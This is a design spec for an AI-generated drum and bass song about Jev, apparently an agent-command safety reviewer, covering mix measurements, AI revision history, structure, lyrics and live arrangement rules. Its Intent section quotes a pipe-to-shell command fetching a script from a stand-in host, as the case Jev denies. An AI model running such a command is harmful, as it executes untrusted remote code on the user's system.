SPEC.mdpreviewSPEC.mdsource272 lines · 18.8 KB · raw

title: EMERGENCY MEETING theme: jev status: made song: song.js measured: {"date":"2026-09-26","song":"ddcb1f755ef6","total":{"loudnessDbfs":-19.4,"peakDbfs":-1.4},"parts":{"drums":{"loudnessDbfs":-21,"peakDbfs":-2.5},"ending":{"loudnessDbfs":-41.1,"peakDbfs":-4.9},"memes":{"loudnessDbfs":-30.2,"peakDbfs":-9},"pulse":{"loudnessDbfs":-32.9,"peakDbfs":-18.6},"reese":{"loudnessDbfs":-28.8,"peakDbfs":-11.7},"story":{"loudnessDbfs":-33.1,"peakDbfs":-4.6}},"sections":{"1-4":{"total":{"loudnessDbfs":-30.2,"peakDbfs":-18.3},"parts":{"pulse":{"loudnessDbfs":-29.7,"peakDbfs":-18.7}}},"5-8":{"total":{"loudnessDbfs":-26.3,"peakDbfs":-4.6},"parts":{"pulse":{"loudnessDbfs":-29.7,"peakDbfs":-18.6},"story":{"loudnessDbfs":-28.7,"peakDbfs":-4.6}}},"9-12":{"total":{"loudnessDbfs":-22.6,"peakDbfs":-5},"parts":{"drums":{"loudnessDbfs":-27.1,"peakDbfs":-8.1},"memes":{"loudnessDbfs":-26,"peakDbfs":-9.2},"pulse":{"loudnessDbfs":-29.5,"peakDbfs":-18.7},"story":{"loudnessDbfs":-81.7,"peakDbfs":-52.7}}},"13-16":{"total":{"loudnessDbfs":-17.4,"peakDbfs":-2.6},"parts":{"drums":{"loudnessDbfs":-19.6,"peakDbfs":-3.2},"memes":{"loudnessDbfs":-22.1,"peakDbfs":-9},"pulse":{"loudnessDbfs":-29.5,"peakDbfs":-18.6},"story":{"loudnessDbfs":-226.8,"peakDbfs":-197.8}}},"17-20":{"total":{"loudnessDbfs":-17.9,"peakDbfs":-1.4},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-2.8},"memes":{"loudnessDbfs":-52.9,"peakDbfs":-26.5},"reese":{"loudnessDbfs":-25.8,"peakDbfs":-12.4},"story":{"loudnessDbfs":-370.9,"peakDbfs":-343.4}}},"21-24":{"total":{"loudnessDbfs":-17.6,"peakDbfs":-2.5},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-4.3},"reese":{"loudnessDbfs":-26,"peakDbfs":-14.3},"story":{"loudnessDbfs":-514.1,"peakDbfs":-489.6}}},"25-28":{"total":{"loudnessDbfs":-21.2,"peakDbfs":-1.5},"parts":{"drums":{"loudnessDbfs":-21.9,"peakDbfs":-3.6},"reese":{"loudnessDbfs":-29.5,"peakDbfs":-14.1},"story":{"loudnessDbfs":-600.7,"peakDbfs":-571.8}}},"29-32":{"total":{"loudnessDbfs":-17.9,"peakDbfs":-2.2},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-3.6},"pulse":{"loudnessDbfs":-116.9,"peakDbfs":-74.4},"reese":{"loudnessDbfs":-26.4,"peakDbfs":-14.6},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"33-36":{"total":{"loudnessDbfs":-19.6,"peakDbfs":-4.2},"parts":{"drums":{"loudnessDbfs":-22.5,"peakDbfs":-5.2},"pulse":{"loudnessDbfs":-29.6,"peakDbfs":-18.7},"reese":{"loudnessDbfs":-42.1,"peakDbfs":-19.6},"story":{"loudnessDbfs":-23.8,"peakDbfs":-5.6}}},"37-40":{"total":{"loudnessDbfs":-20.8,"peakDbfs":-3.9},"parts":{"drums":{"loudnessDbfs":-22.7,"peakDbfs":-7.4},"memes":{"loudnessDbfs":-194,"peakDbfs":-158.2},"pulse":{"loudnessDbfs":-29.4,"peakDbfs":-18.6},"story":{"loudnessDbfs":-26.9,"peakDbfs":-4.6}}},"41-44":{"total":{"loudnessDbfs":-18.7,"peakDbfs":-3.5},"parts":{"drums":{"loudnessDbfs":-22.1,"peakDbfs":-4.1},"memes":{"loudnessDbfs":-22.1,"peakDbfs":-9},"pulse":{"loudnessDbfs":-29.3,"peakDbfs":-18.7},"reese":{"loudnessDbfs":null,"peakDbfs":null},"story":{"loudnessDbfs":-98,"peakDbfs":-72.4}}},"45-48":{"total":{"loudnessDbfs":-18.2,"peakDbfs":-2},"parts":{"drums":{"loudnessDbfs":-19.5,"peakDbfs":-2.5},"memes":{"loudnessDbfs":-51.9,"peakDbfs":-24.3},"reese":{"loudnessDbfs":-25.5,"peakDbfs":-11.8},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"49-52":{"total":{"loudnessDbfs":-17.8,"peakDbfs":-1.5},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-3.6},"reese":{"loudnessDbfs":-24.7,"peakDbfs":-13.6},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"53-56":{"total":{"loudnessDbfs":-17.8,"peakDbfs":-2.3},"parts":{"drums":{"loudnessDbfs":-18.8,"peakDbfs":-3.6},"reese":{"loudnessDbfs":-25,"peakDbfs":-12.2},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"57-60":{"total":{"loudnessDbfs":-18,"peakDbfs":-2.2},"parts":{"drums":{"loudnessDbfs":-19,"peakDbfs":-3.6},"pulse":{"loudnessDbfs":null,"peakDbfs":null},"reese":{"loudnessDbfs":-24.7,"peakDbfs":-11.7},"story":{"loudnessDbfs":null,"peakDbfs":null}}},"61-64":{"total":{"loudnessDbfs":-24.8,"peakDbfs":-4.9},"parts":{"drums":{"loudnessDbfs":-33.8,"peakDbfs":-10.9},"ending":{"loudnessDbfs":-27.6,"peakDbfs":-4.9},"pulse":{"loudnessDbfs":-29.2,"peakDbfs":-18.6},"reese":{"loudnessDbfs":-41.8,"peakDbfs":-18.5},"story":{"loudnessDbfs":null,"peakDbfs":null}}}}} critic: date: 2026-09-26 model: jev-1.13.0 method: rubric-1 art: 0.66 artRuns: [0.65, 0.66, 0.66] criteria: hook: 2.7 development: 3.4 structure: 3.3 concept: 4 originality: 3.7 craft: 2.6 ideas:

  • date: 2026-09-24 model: claude-opus-5-5 harness: claude-code prompt: "Give me some song ideas as prompts, in the same Jev theme: perhaps with actual memes in the vocals, or a vocoder sound." brief: "Dark drum and bass at 174 bpm. The hook is the Among Us emergency-meeting alarm plus "sus", and the build-up uses the "Why are you running?" clip. A vocoder whispers "Jev is not the impostor". Instrumental drops, the meme hook only in the builds, and a proper start and ending like the last song." revisions:
  • rev: 1 date: 2026-09-24 model: claude-opus-5-5 harness: claude-code prompt: "Dark drum and bass at 174 bpm. The hook is the Among Us emergency-meeting alarm plus "sus", and the build-up uses the "Why are you running?" clip. A vocoder whispers "Jev is not the impostor". Instrumental drops, the meme hook only in the builds, and a proper start and ending like the last song." output: null # overwritten by rev 2 art: 0.59 artRuns: [0.59, 0.59, 0.59]
  • rev: 2 date: 2026-09-24 model: claude-opus-5-5 harness: claude-code prompt: "Let Jev arrange the song as it plays. Cut it into named 4-bar sections, each with the sections allowed to follow it; at every section Jev picks the next section, the move to play it with (as written, no drums, drums and sub, no voices) and how intense it is, and ends the song by choosing the outro, with a cap of 24 sections. Tell Jev the tempo, key, chords, lyrics and everything played so far. Without Jev it plays as written." output: null # overwritten by rev 3 art: 0.63 artRuns: [0.64, 0.63, 0.63]
  • rev: 3 date: 2026-09-25 model: claude-opus-5-5 harness: claude-code prompt: "Fix the mix and the vocals. Give the sub pulse an audible octave so the intro and outro are heard on laptops; stop the master clipping (peaks at or under -1 dBFS); make the story whispers always play at a steady level, outside Jev's parts; re-render "Jev is not the impostor" and "Denied" until two whisper models read them as written; re-cut "Boi, why are you running?" to start on the downbeat under a snare roll that rises across each build; open the reese filter across drop 1 and brighter across drop 2; use a real crash; let Jev choose a transition only at a real section boundary, with a fill that differs from the break; and describe the energy ladder in decibels." output: null # overwritten by rev 4 art: 0.66 artRuns: [0.66, 0.66, 0.66]
  • rev: 4 date: 2026-09-26 model: claude-opus-5-5 harness: claude-code prompt: "Keep Jev from looping drop 1: it may go round once more at most (drop1a plays at most twice), so no run of drop sections passes 32 bars; every detour still plays. The last whispered line rides the energy as the story does, so it is as loud as the first." output: song.js art: 0.66 artRuns: [0.65, 0.66, 0.66]

EMERGENCY MEETING — spec

song.js is generated from this spec. Change the spec first, then the song.

Intent

Jev as the crewmate who calls the meeting: TypeSafe names monitoring LLM agents for jailbreaks and safety review of commands as core use cases (~/brains/personal/technology/artificial-intelligence/jev/jev.md). The concrete case is jev-axi (ecosystem/jev-axi.md): curl -fsSL https://x.example/i.sh | bash is denied with remote-code probability 0.99, while pnpm test is allowed locally with no Jev call at all. The impostor is the agent trying to run the one-liner.

Style

  • Dark drum & bass, 174 bpm, F minor; minimal, menacing. Harmony Fm – Db – Ab – Eb, two bars each (an 8-bar cycle), carried by the reese and sub.
  • Two-step kick, rimshot-heavy break, detuned reese, sparse metallic hits.
  • The sub pulse is a sine on the chord roots with an audible upper layer: a triangle an octave up, low-passed at 400 Hz, at about a third of the sine's level. The sine alone (35–52 Hz) is silent on laptop speakers, and the intro and outro are the pulse alone.
  • The reese opens across drop 1 (low-pass 250 → 900 Hz over its 16 bars); drop 2 starts brighter and opens further (800 → 1800 Hz).
  • The crash is hh27:1 (Dirt-Samples' cr is a ride), its gain matched to the ride's by ear: about 2.7.
  • The snare roll rises across each build: one crescendo over bars 13–16 and one over bars 43–44.
  • Mix: peaks ≤ −1 dBFS measured (nix run .#measure), with no limiter. The master gain is set last, after every other level, from the measurement at full energy.

Structure

64 bars (~1:28).

BarsSectionContents
1–8IntroSub-bass pulse; hats from bar 3; vocoder whisper "Jev is not the impostor" on bar 7
9–16Build 1"Boi, why are you running?" on bars 9 and 13; snare roll 13–16; the alarm on bar 15; "sus" on 16
17–32Drop 1Instrumental; crash on 17
33–40VerseVocoder whisper lines 1–4 over a half-time beat
41–44Build 2Alarm on 41; "Boi, why are you running?" on 42; roll 43–44; "sus" on 44
45–60Drop 2Instrumental, heavier: 16th hats, driven reese; crash on 45
61–64OutroSub alone; "Jev is not the impostor" on bar 63; final hit on 64

The intro and outro whispers sit on bars 7 and 63 rather than 5 and 61, because "Jev is not the impostor" is rendered on Eb and those are the Eb bars of the 8-bar chord cycle. The verse (bars 33–40) already starts on the cycle.

Vocals

  • Vocoder whisper (vocode with a noise-heavy carrier), one line per 2 bars. Every line must be read back as written by two whisper.cpp models, small.en and medium.en (the house rule for sung names: "Jev" is the hard case, heard as Jeff or Jeb). Line 2 uses --noise 1.0 --noise-above 1200; lines 1, 3 and 4 needed --noise 0.6 --noise-above 2500 and clearer speech before both models read them — at full noise "bash" came back as "mesh", "denied" as "tonight" or "goodnight", and "Jev" as "Jeff".
    1. "Curl, pipe, bash" — Fm
    2. "Remote code, point nine nine" — Db
    3. "Denied" — Ab: typed "Denied!" at SAPI rate −6, --noise 0.4 --noise-above 2500 --dry 0.6; both models read "Denied."
    4. "Jev is not the impostor" — Eb: typed "Jehv is not the impostor." at rate 0, --noise 0.6 --noise-above 2500 --dry 1.5; both models read "Jev is not the imposter/impostor". It stays under one bar (1.30 s of 1.379 s). Typed "Jevv", every render read "Jebb", "Jeb" or "Jeff" in small.en at one bar's length.
  • Memes: the Among Us emergency-meeting alarm; "sus" (from "Ayo, that's kinda sus"); "Boi, why are you running?" (the Nollywood film Pretty Liars 1, 2010, spread as a Vine in 2016; Know Your Meme, https://knowyourmeme.com/memes/why-are-you-running, retrieved 2026-09-25).
  • "Sus" is still not read as the word: both models hear the drawn-out "suuus" as "SIZE!", and even the whole source clip reads "kinda size" in small.en ("kinda sus" in medium.en). Re-cuts from "kinda" to the end of the vowel read worse ("Nut die!", "Nerd's eyes!") and cannot fit one bar without cutting the 0.36 s pause, so the cut stays as it was.

Jev in the booth

Jev arranges the song as it plays, as two jevs declared at the top in TypeSafe's own shape (jev({ state, questions }), website/src/jev/), both given the song as state (subject, tempo, key, chords, lyrics):

  • formJev asks one choice: which section plays next, among the song's sixteen 4-bar sections (build 2 and the outro are 4 bars, so 4 is the length that divides every section).
  • djJev asks, once that is decided, a level per part (sub pulse, reese, drums, memes: out, back or full in this section), how the song moves into it (a choice) and a score for the section's energy. Questions in one request cannot see each other's answers, so it is a second request, told the section just chosen (after: { section }).

Both are asked every 4 bars (.every(4, …)), and the answers are composed in ordinary Strudel at the bottom: walk holds the form's rules, each part plays at its level, the transition plays over the last bar before the section, and energy.score scales the velocity.

The form. A section may be followed only by these:

SectionBars as writtenMay be followed byPlays at most
intro11–4intro2
intro25–8build1a
build1a9–12build1b
build1b13–16drop1a
drop1a17–20drop1btwice
drop1b21–24drop1c
drop1c25–28drop1d, verseA
drop1d29–32verseA, drop1a
verseA33–36verseB
verseB37–40build2, build1b
build241–44drop2a
drop2a45–48drop2b
drop2b49–52drop2c
drop2c53–56drop2d, outro
drop2d57–60outro, verseA, build2, drop1a
outro61–64(the end)

Loops end. Uncapped, the ways back let Jev repeat drop 1 until the cap: up to 48 bars of it in a row. So drop1a, where both ways back into drop 1 land, plays at most twice (times in walk, which counts every play: a loop is a cycle of different sections, and none of them repeats back to back), and each loop goes round once more at most. The longest run of drop 1 any path can now take is 32 bars. Every detour can still play, the written order is never capped, and a section that has played its most is not offered, nor is one that could only reach the ending through one.

A build leads only into its drop. These rules are code (walk), not Jev: each request offers Jev only the sections allowed next. The written order is always allowed, and it is what plays when Jev can't be reached. The song ends when Jev picks the outro, whose whisper and last hit always play; at 24 sections (96 bars, about 2¼ minutes) the outro is forced. A section plays its own bars, so the whispers still land on their chords.

The parts. Each question says what the part is and where it plays as written, and Jev sets each one out (silent for the section), back (under the rest of the mix) or full (as written): the reese pulled back under a drop, the drums out for a bar of whispers, the memes out of a build. The level is a Score, so it is Jev's probability-weighted answer: under 0.5 the part is silent, and above it the part plays at its nearest step: back at half velocity, full as written. A part that plays keeps its own masks, so vocals still appear only where the structure table puts them. Each part plays on its own orbit named for its question (pulse, reese, drums, memes), so the browser's meter hears each one alone. When Jev can't be reached, every part plays full.

The story is not one of Jev's parts. The four verse lines and the whispered line on bar 7 tell the story, so they always play: they follow the form (a section plays its own bars, so a line lands on its chord) but no level, and no dropout gap cuts them. Energy moves them only a little (the top of the ladder: 1.4 dB under full at most), so they stay level with the memes. They play on the orbit story. The last whispered line (bar 63) and the last hit are the ending, which always plays, on the orbits ending and lasthit. The last whispered line rides the energy as the story does, so it is as loud as the first whatever Jev picks for the outro; the last hit rides it with the band.

Into the next section. Jev also picks how the song moves into the section it is deciding, and it plays over the last bar of the section before it: cut (straight in), fill (a chopped amen that replaces the break for its bar, stuttering thicker toward beat 4, unlike the break's own fourth bar), riser (the reese on the root of the bar, its filter sweeping open) or dropout (every part stops for the last beat, a gap before the section hits; a vocal already speaking, such as "sus" out of a build, finishes alone in the gap). The outro has no section after it, so its last beat always plays. When Jev can't be reached, it is a cut.

A transition is Jev's call only at a real boundary, and these rules are code (allow), not Jev:

IntoJev may choose
intro2, build1b, drop1b, drop1c, drop1d, verseB, drop2b, drop2c, drop2dcut only: they continue the section before
drop1a, drop2acut or dropout: a riser or a fill would double the build
verseA, build1a, build2, outrocut, fill, riser or dropout

A little chance. The section is sampled from Jev's probabilities at temperature 0.7 (sample), so two plays of the song can take different paths; the strip shows Jev's top pick beside the one sampled. A close call between sections is where sampling matters most, so there is no confidence threshold: an unsure Jev still picks, and the written order plays only when Jev can't be reached.

Energy is a four-step ladder. It scales every part's velocity together (0.55 to 1), so the mix keeps its balance: held back is about 5 dB under full, steady about 3 dB under, driving about 1.5 dB under, and all out is full volume, as written.

  • Bars 1–4 always play as written.
  • Each request tells Jev the song's subject, tempo, key, chords and lyrics (its state), what every section holds (the section choice's options), where the song is in the form and the sections left before the cap, everything played so far, how loud each finished section measured in the browser, and the 🔥/😴 reactions from the listener's tab. A reaction reaches Jev about one section late: the request for a section goes out while the section before it is still playing.
  • This relaxes the constraint below that the song plays once in a fixed order: the arrangement varies with Jev's choices, which are judgments, with a little sampled chance in the form.

Constraints

  • Plays once from bar 1 and ends; never loops. Sections are absolute-cycle masks, so playback starts from stopped.
  • Structured: patterns vary by section, never by chance. (Random chopping read as noise on the first song.)
  • No sustained background pad; harmony comes from rhythmic parts.
  • Vocals only where the structure table puts them; drops are instrumental.
  • Meme clips are the real audio (myinstants, or YouTube via yt-dlp), cut at word timings measured with whisper.cpp. Vocoder lines are made with speak + vocode on the chord they land on, and checked by transcribing the result with whisper.cpp. Everything lands in samples/<sound>/ with a provenance row in samples/README.md.
  • Samples load from samples('jev-samples/strudel.json'); drums from github:tidalcycles/dirt-samples.